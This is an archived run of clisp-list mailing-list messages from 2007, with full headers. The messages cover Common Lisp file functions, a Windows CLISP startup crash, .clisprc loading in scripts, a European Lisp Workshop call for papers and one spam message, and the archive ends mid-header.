10.64.49.8 with HTTP; Mon, 26 Mar 2007 21:13:27 -0700 (PDT) Message-ID: Date: Tue, 27 Mar 2007 00:13:27 -0400 From: "Yuri Niyazov" Sender: yuri.niyazov@gmail.com To: clisp-list@lists.sourceforge.net In-Reply-To: <17927.33052.369983.528200@voyager.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <17927.33052.369983.528200@voyager.informatimago.com> X-Google-Sender-Auth: f666743a9a49583f X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] question about CLISP's implementation of file-write-date X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 Mar 2007 04:13:30 -0000 Thank you all, that was quite helpful. yn. On 3/26/07, Pascal Bourguignon wrote: > Sam Steingold writes: > > CLISP takes the view that the FILE-WRITE-DATE for a non-existent file > > does not make sense, thus an error is signaled. > > I think this is within the bounds set by the standard. > > Which is reasonable. > > > > what you want is probably something like > > > > (and (probe-file foo) > > (file-write-date foo)) > > In portable code, you probably should embed that in a IGNORE-ERRORS. > In clisp, PROBE-FILE signals an error when the path leads to a directory > while some other implementation in the same OS just returns T (or NIL). > > (It is also somewhat reasonable for PROBE-FILE to signal an error when > it's given a directory, the problem being more in the specifications, > than in the implementations. Nowadays, there's CFFI, so one could > design a clean POSIX file system access library for CL). > > -- > __Pascal Bourguignon__ > http://www.informatimago.com > http://pjb.ogamita.org > From e_to@hotbox.ru Sun Apr 01 10:39:22 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HY41S-0006PF-FW for clisp-list@lists.sourceforge.net; Sun, 01 Apr 2007 10:39:22 -0700 Received: from smtp1.pochta.ru ([81.211.64.6]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HY41Q-0002DP-U3 for clisp-list@lists.sourceforge.net; Sun, 01 Apr 2007 10:39:22 -0700 Received: from ip-182-255-122-091.pools.atnet.ru ([91.122.255.182]) by smtp.pochta.ru ( sendmail 8.13.3/8.13.1) with esmtpa id 1HY41D-0004oX-0o for clisp-list@lists.sourceforge.net; Sun, 01 Apr 2007 21:39:08 +0400 Date: Sun, 1 Apr 2007 21:39:00 +0400 From: eto X-Priority: 3 (Normal) Message-ID: <701730701.20070401213900@hotbox.ru> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent Subject: [clisp-list] Program stack overflow. RESET X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: eto List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Apr 2007 17:39:22 -0000 Hello clisp-list, I have to download clisp-2.41-win32-mingw-without-readline.zip, but can't use it. When I run clisp.exe: i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 E:\clisp> (lisp prompt is absent) When I run install.bat: +----------------------------------------------------------+ I this will install CLISP on your system, I I associating file types FAS, MEM and LISP with CLISP. I I it will also create a shortcut to CLISP on your desktop. I I press C-c to abort I +----------------------------------------------------------+ Press any key to continue . . . * Installing CLISP to run from E:\clisp\ Use the `full' linking set? *** - Program stack overflow. RESET Press any key to continue . . . E:\clisp> I'm try: o run clisp.exe with -m option (max value i have to set: 50MB) o set MinSPs=4 (6,10) in system.ini o run clisp with PIF (with setting memory values to the maximum) o use editbin.exe to set lisp.exe and clisp.exe stack (when i set it slightly less then 4MB i've got this: *** - handle_fault error2 ! address = 0xf11000 not in [0x22010000,0x224dc674) ! SIGSEGV cannot be cured. Fault address = 0xf11000. Permanently allocated: 91104 bytes. Currently in use: 5947884 bytes. Free space: 964221 bytes. and then i set stack less then 'segfault value' (slightly less then 4MB) i've got overflow. Do I need MinGW (and MSYS) to use this clisp? So i try it and get same results. -- Best regards, eto mailto:e_to@hotbox.ru From jdunrue@gmail.com Sun Apr 01 12:01:52 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HY5JI-0008A6-4G for clisp-list@lists.sourceforge.net; Sun, 01 Apr 2007 12:01:52 -0700 Received: from wx-out-0506.google.com ([66.249.82.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HY5JG-0007r0-Pm for clisp-list@lists.sourceforge.net; Sun, 01 Apr 2007 12:01:52 -0700 Received: by wx-out-0506.google.com with SMTP id i30so1639786wxd for ; Sun, 01 Apr 2007 12:01:50 -0700 (PDT) Received: by 10.90.105.19 with SMTP id d19mr2734768agc.1175454110021; Sun, 01 Apr 2007 12:01:50 -0700 (PDT) Received: by 10.90.54.12 with HTTP; Sun, 1 Apr 2007 12:01:49 -0700 (PDT) Message-ID: Date: Sun, 1 Apr 2007 13:01:49 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <701730701.20070401213900@hotbox.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <701730701.20070401213900@hotbox.ru> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Program stack overflow. RESET X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Apr 2007 19:01:52 -0000 On 4/1/07, eto wrote: > Hello clisp-list, > > I have to download clisp-2.41-win32-mingw-without-readline.zip, but can't use > it. When I run clisp.exe: > > [snip snip] > > E:\clisp> (lisp prompt is absent) Which version of Windows are you running? Do you have an existing ~/.clisprc file? If so, try starting clisp with the -norc command-line option. Also, try starting clisp with -E 1:1 Also, try downloading the other MinGW build and see if that works better. > Do I need MinGW (and MSYS) to use this clisp? So i try it and get same > results. Neither MinGW nor MSYS are required for running this build of clisp. If anyone else has ideas for debugging startup crashes like this, please offer suggestions. I would propose running lisp.exe from gdb to get a stack trace, except that I myself am having no success doing so, even though running lisp.exe from the command prompt works fine. -- Jack Unrue From Devon@Jovi.Net Sat Apr 07 08:29:52 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HaCrP-00048n-JS for clisp-list@lists.sourceforge.net; Sat, 07 Apr 2007 08:29:51 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HaCrO-0003s6-5u for clisp-list@lists.sourceforge.net; Sat, 07 Apr 2007 08:29:51 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id l37FTYFK089562 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 7 Apr 2007 11:29:34 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id l37FTUG4089559; Sat, 7 Apr 2007 11:29:30 -0400 (EDT) (envelope-from Devon@Jovi.Net) Date: Sat, 7 Apr 2007 11:29:30 -0400 (EDT) Message-Id: <200704071529.l37FTUG4089559@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-DCC--Metrics: grant.org 104; Body=2 Fuz1=2 Fuz2=2 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sat, 07 Apr 2007 11:29:35 -0400 (EDT) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] spurious [pathname.d:267] output X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Apr 2007 15:29:52 -0000 $ clisp -q -ansi STACK depth: 98238 [1]> (ignore-errors (make-dir "/tmp/")) [pathname.d:267] NIL ; # [2]> Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote PS: $ clisp --version STACK depth: 98238 GNU CLISP 2.41 (2006-10-13) (built on my-computer.local [192.168.0.11]) Software: GNU C 4.0.1 (Apple Computer, Inc. build 5367) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -x none libcharset.a -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.9 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER UNIX MACOS) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) my-computer.local [192.168.2.2] From sds@gnu.org Sat Apr 07 17:39:10 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HaLR0-0006X7-8v for clisp-list@lists.sourceforge.net; Sat, 07 Apr 2007 17:39:10 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HaLQw-0007az-PM for clisp-list@lists.sourceforge.net; Sat, 07 Apr 2007 17:39:10 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JG5009PHLT0XXF0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 07 Apr 2007 20:39:00 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id D4B7621E055; Sat, 07 Apr 2007 20:38:59 -0400 (EDT) Date: Sat, 07 Apr 2007 20:38:59 -0400 From: Sam Steingold In-reply-to: <200704071529.l37FTUG4089559@grant.org> To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-followup-to: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <200704071529.l37FTUG4089559@grant.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.96 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] spurious [pathname.d:267] output X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 08 Apr 2007 00:39:10 -0000 > * Devon Sean McCullough [2007-04-07 11:29:30 -0400]: > > $ clisp -q -ansi > STACK depth: 98238 > [1]> (ignore-errors (make-dir "/tmp/")) > > [pathname.d:267] NIL ; > # --with-debug enables this. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://mideasttruth.com http://palestinefacts.org http://ffii.org http://camera.org http://truepeace.org http://memri.org Perl: all stupidities of UNIX in one. From pc@p-cos.net Mon Apr 09 08:50:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Haw8N-0005Fw-OA for clisp-list@lists.sourceforge.net; Mon, 09 Apr 2007 08:50:23 -0700 Received: from smtp.vub.ac.be ([134.184.129.10] helo=dorado.vub.ac.be) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Haw8M-0007OF-VA for clisp-list@lists.sourceforge.net; Mon, 09 Apr 2007 08:50:23 -0700 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id F28494F6 for ; Mon, 9 Apr 2007 17:50:16 +0200 (CEST) Received: from [192.168.2.3] (74.13-64-87.adsl-dyn.isp.belgacom.be [87.64.13.74]) by prog2.vub.ac.be (Postfix) with ESMTP id 203A23094A4 for ; Mon, 9 Apr 2007 17:48:45 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <6154FE8F-17D6-4861-82DF-2F365B0C583E@p-cos.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Mon, 9 Apr 2007 17:50:15 +0200 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [CfP] European Lisp Workshop '07 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Apr 2007 15:50:24 -0000 +----------------------------------------------------------------------+ | 4th European Lisp Workshop | | July 30 - Berlin, Germany - co-located with ECOOP 2007 | +----------------------------------------------------------------------+ Important Dates Submission deadline (papers & breakout groups): May 13, 2007 Notification of acceptance: May 31, 2007 ECOOP early registration deadline: June 15, 2007 For more information visit http://lisp-ecoop07.bknr.net/ Contact: Pascal Costanza, pc@p-cos.net Organizers ********** Pascal Costanza, Programming Technology Lab, Vrije Universiteit Brussel Theo D'Hondt, Programming Technology Lab, Vrije Universiteit Brussel Hans Huebner, Software Developer, Berlin Arthur Lemmens, Independent Consultant, Amsterdam Christophe Rhodes, Goldsmiths College, University of London Overview ******** "...Please don't assume Lisp is only useful for Animation and Graphics, AI, Bioinformatics, B2B and E-Commerce, Data Mining, EDA/Semiconductor applications, Expert Systems, Finance, Intelligent Agents, Knowledge Management, Mechanical CAD, Modeling and Simulation, Natural Language, Optimization, Research, Risk Analysis, Scheduling, Telecom, and Web Authoring just because these are the only things they happened to list." -- Kent Pitman Lisp is one of the oldest computer languages still in use today. In the decades of its existence, Lisp has been a fruitful basis for language design experiments as well as the preferred implementation language for applications in diverse fields. The structure of Lisp makes it easy to extend the language or even to implement entirely new dialects without starting from scratch. Common Lisp, with the Common Lisp Object System (CLOS), was the first object-oriented programming language to receive an ANSI standard and retains the most complete and advanced object system of any programming language, while influencing many other object-oriented programming languages that followed. It is clear that Lisp is gaining momentum: there is a steadily growing interest in Lisp itself, with numerous user groups in existence worldwide, and in Lisp's metaprogramming notions which are being transferred to other languages, as for example in Aspect-Oriented Programming, support for Domain-Specific Languages, and so on. This workshop will address the near-future role of Lisp-based languages in research, industry and education. We solicit papers and suggestions for breakout groups that discuss the opportunities Lisp provides to capture and enhance the possibilities in software engineering. We want to promote lively discussion between researchers proposing new approaches and practitioners reporting on their experience with the strengths and limitations of current Lisp technologies. The workshop will have two components; there will be formally-presented talks, and for breakout groups discussing or working on particular topics. Additionally, there will be opportunities for short, informal talks and demonstrations on experience reports, underappreciated results, software under development, or other topics of interest. Papers ****** Formal presentations in the workshop should take between 20 minutes and half an hour; additional time will be given for questions and answers. We encourage that papers be published on the website in order to provide background information in advance. Suggested Topics New language features or abstractions Experience reports or case studies Protocol Metaprogramming and Libraries Educational approaches Software Evolution Development Aids Persistent Systems Dynamic Optimization Implementation techniques Innovative Applications Hardware Support for Lisp systems Macro-, reflective-, meta- and/or rule-based development approaches Aspect-Oriented, Domain-Oriented and Generative Programming Breakout Groups *************** The workshop will provide for the opportunity to meet face to face and work on focused topics. We will organize these breakout groups and provide for rooms and infrastructure. Suggested Topics for Breakout Groups Lisp Infrastructure Development and Distribution Language Features (e.g. Predicate Dispatching) Environments for creating web applications Brainstorming sessions for new or existing open source projects Persistence Systems Compiler technology Lisp on bare metal / Lisp hardware / Lisp operating systems Compare and enhance curricula for computer science education Submission Guidelines ********************* Potential attendees are encouraged to submit either of the following: * a long paper (10 pages) presenting scientific and/or empirical results about Lisp-based uses or new approaches for software engineering purposes; * a short essay (5 pages) defending a position about where research, practice or education based on Lisp should be heading in the near future; * a proposal for a breakout group (1-2 pages) describing the theme, an agenda and/or expected results. Submissions should be mailed as PDF to Pascal Costanza (pc@p-cos.net) before the submission deadline. -- Pascal Costanza, mailto:pc@p-cos.net, http://p-cos.net Vrije Universiteit Brussel, Programming Technology Lab Pleinlaan 2, B-1050 Brussel, Belgium From erniev@rock.com Tue Apr 10 17:37:39 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HbQq7-0008Dj-Iw; Tue, 10 Apr 2007 17:37:35 -0700 Received: from agrenoble-257-1-106-8.w90-9.abo.wanadoo.fr ([90.9.161.8] helo=rock.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1HbQq4-0003iv-CY; Tue, 10 Apr 2007 17:37:35 -0700 Message-ID: Date: Wed, 11 Apr 2007 08:33:40 +0700 From: "Ernie" User-Agent: Mozilla 4.61 [en] (Win95; U) X-Accept-Language: en-us MIME-Version: 1.0 To: ",," Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: -0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: webdesignserviceconsulting.com] Cc: web person Subject: [clisp-list] my portfolio X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Apr 2007 00:37:39 -0000 Hi, My name is Ernie; I may not have the right email address. If not please excuse my intrusion. If you are interested in some web design work for your company Please click the link below to see my portfolio; http://www.webdesignserviceconsulting.com/intro.html Thanks, Ernie From vadrer@gmail.com Fri Apr 13 09:52:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HcP11-0000eP-N4 for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 09:52:53 -0700 Received: from ug-out-1314.google.com ([66.249.92.172]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HcP11-0000oo-Cp for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 09:52:51 -0700 Received: by ug-out-1314.google.com with SMTP id z38so521368ugc for ; Fri, 13 Apr 2007 09:52:50 -0700 (PDT) Received: by 10.67.90.1 with SMTP id s1mr2125723ugl.1176483167717; Fri, 13 Apr 2007 09:52:47 -0700 (PDT) Received: from ?192.168.1.6? ( [91.122.92.14]) by mx.google.com with ESMTP id b30sm5369985ika.2007.04.13.09.52.45; Fri, 13 Apr 2007 09:52:46 -0700 (PDT) Message-ID: <461FB30F.1040605@gmail.com> Date: Fri, 13 Apr 2007 20:42:55 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] .clisprc.lisp not invoked when I want it X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Apr 2007 16:52:53 -0000 I have the problem with .clisprc.lisp I placed my config parameters there (this is mostly load paths) and they are perfectly loaded when I go into interactive shell (clisp or even maxima) and they are loaded when I invoke clisp to run something from command line (clisp -x "something") The file .clisprc.lisp is entirely ignored when I run clisp against some file, e.g. search paths are not found. This makes .clisprc.lisp file much useless, IMO. "clisp --help" mentions about "-i file" but this means I must invoke every time my files with clisp -i [full-path-to-init-file-because-no-search-path-yet] my-file.lisp Can you please advise what I am missing? Do I misunderstand the idea of "clisprc" file? Thanks in advance, Vadim. From sds@gnu.org Fri Apr 13 11:08:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HcQCb-0000A9-FE for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 11:08:53 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HcQCX-0005FF-6w for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 11:08:52 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A72B041C; Fri, 13 Apr 2007 14:08:43 -0400 Message-ID: <461FC729.7000407@gnu.org> Date: Fri, 13 Apr 2007 14:08:41 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Vadim Konovalov References: <461FB30F.1040605@gmail.com> In-Reply-To: <461FB30F.1040605@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] .clisprc.lisp not invoked when I want it X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Apr 2007 18:08:53 -0000 Vadim Konovalov wrote: > I have the problem with .clisprc.lisp > > I placed my config parameters there (this is mostly load paths) and they > are perfectly loaded when I go into interactive shell (clisp or even > maxima) and they are loaded when I invoke clisp to run something from > command line (clisp -x "something") > > The file .clisprc.lisp is entirely ignored when I run clisp against some > file, e.g. search paths are not found. this is documented behavior: http://clisp.cons.org/impnotes/clisp.html#opt-exec-file "No RC file will be executed." See also http://clisp.cons.org/impnotes/quickstart.html#script-exec > "clisp --help" mentions about "-i file" but this means I must invoke > every time my files with > clisp -i [full-path-to-init-file-because-no-search-path-yet] my-file.lisp > > Can you please advise what I am missing? > Do I misunderstand the idea of "clisprc" file? The idea of "clisp foo" is that it is used in scripts. (IIUC, bash scripts do not load ~/.bashrc either). A script should be a more-or-less standalone (self-contained) program that is usable by many people (this is the philosophy behind the Unix notion of a "script", not necessarily the way you want to use them), so they should not rely on personal files to work correctly (unless the files are relevant to the specific script as opposed to the interpreter running it). Thus the behavior you observe is intended, documented, and (IMHO) reasonable. Scripts should load all the files they rely upon explicitly. In your specific case - if indeed all your RC file does is search path setting - I would recommend dumping an image. Sam. From vadrer@gmail.com Fri Apr 13 11:30:23 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HcQXP-0002aW-MU for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 11:30:23 -0700 Received: from ug-out-1314.google.com ([66.249.92.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HcQXP-00080H-B4 for clisp-list@lists.sourceforge.net; Fri, 13 Apr 2007 11:30:23 -0700 Received: by ug-out-1314.google.com with SMTP id z38so536452ugc for ; Fri, 13 Apr 2007 11:30:22 -0700 (PDT) Received: by 10.67.91.6 with SMTP id t6mr2170818ugl.1176489022012; Fri, 13 Apr 2007 11:30:22 -0700 (PDT) Received: from ?192.168.1.6? ( [91.122.92.14]) by mx.google.com with ESMTP id c22sm5560796ika.2007.04.13.11.30.19; Fri, 13 Apr 2007 11:30:19 -0700 (PDT) Message-ID: <461FC9EC.1040505@gmail.com> Date: Fri, 13 Apr 2007 22:20:28 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <461FB30F.1040605@gmail.com> <461FC729.7000407@gnu.org> In-Reply-To: <461FC729.7000407@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] .clisprc.lisp not invoked when I want it X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Apr 2007 18:30:23 -0000 Sam Steingold wrote: > Vadim Konovalov wrote: >> >> Do I misunderstand the idea of "clisprc" file? > > The idea of "clisp foo" is that it is used in scripts. > (IIUC, bash scripts do not load ~/.bashrc either). Very reasonable argument, BTW. Thanks a lot for the comprehensive explanation! Vadim. From sds@gnu.org Sun Apr 15 07:41:26 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hd5uw-0001y3-0n for clisp-list@lists.sourceforge.net; Sun, 15 Apr 2007 07:41:26 -0700 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hd5us-0007bS-JH for clisp-list@lists.sourceforge.net; Sun, 15 Apr 2007 07:41:26 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JGJ00A04NGSRHN0@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 15 Apr 2007 10:41:16 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 1E8B621E06B; Sun, 15 Apr 2007 10:41:16 -0400 (EDT) Date: Sun, 15 Apr 2007 10:41:15 -0400 From: Sam Steingold In-reply-to: <461FC9EC.1040505@gmail.com> To: clisp-list@lists.sourceforge.net, Vadim Konovalov Mail-followup-to: clisp-list@lists.sourceforge.net, Vadim Konovalov Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam 